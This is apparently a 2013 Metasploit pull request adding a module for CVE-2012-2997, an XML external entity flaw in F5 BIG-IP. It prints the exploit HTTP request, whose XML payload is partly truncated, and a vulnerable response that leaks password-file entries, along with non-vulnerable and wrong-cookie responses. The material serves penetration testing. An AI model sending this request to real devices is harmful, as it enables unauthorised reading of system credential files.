rapid7/metasploit-framework — pull request #1982 by twinvega (2013-06-18 19:50:33+00:00)
Title: Add CVE-2012-2997 (F5 BIG-IP XML vuln)

This module has been tested against a vulnerable BIG-IP and works. The module does not know when it fails nor does it collect just the file contents however.

Post from module:

POST /sam/admin/vpe2/public/php/server.php HTTP/1.1
x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: https://10.10.10.10/xui/
Accept: */*
f5-automated-request: true
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 10.254.212.13
Connection: Keep-Alive
Cookie: BIGIPAuthCookie=;
Content-Length: 145

]>
&e;

Vulnerable response:

HTTP/1.0 200 OK
Date: Thu, 28 Mar 2013 22:02:45 GMT
Server: Apache
Set-Cookie: BIGIPAuthCookie=; path=/; Secure;
Set-Cookie: BIGIPAuthUsernameCookie=mdaily; path=/; Secure;
X-Powered-By: PHP/5.2.14
Content-Length: 1573
Connection: close
Content-Type: text/xml

anygeneralErroranyanyClient has sent unknown dialogueType 'root:$1$:::
bin:*:14224::::::
daemon:*:14224::::::
adm:*:14224::::::
lp:*:14224::::::
mail:*:14224::::::
uucp:*:14224::::::
operator:*:14224::::::
nobody:*:14224::::::
admin:

Not vulnerable response:

]>

&UeFesQX;

Bad request!

Bad request!

Your browser (or proxy) sent a request that
this server could not understand.

Error 400

localhost.localdomain

Thu Mar 28 19:03:20 2013

Wrong Cookie Supplied Response:

HTTP/1.0 302 Found
Date: Tue, 18 Jun 2013 19:37:52 GMT
Server: Apache
WWW-Authenticate: Basic realm="BIG-IP"
Location: /tmui/login.jsp?msgcode=2&
Content-Length: 214
Connection: close
Content-Type: text/html; charset=iso-8859-1

302 Found

Found

The document has moved here.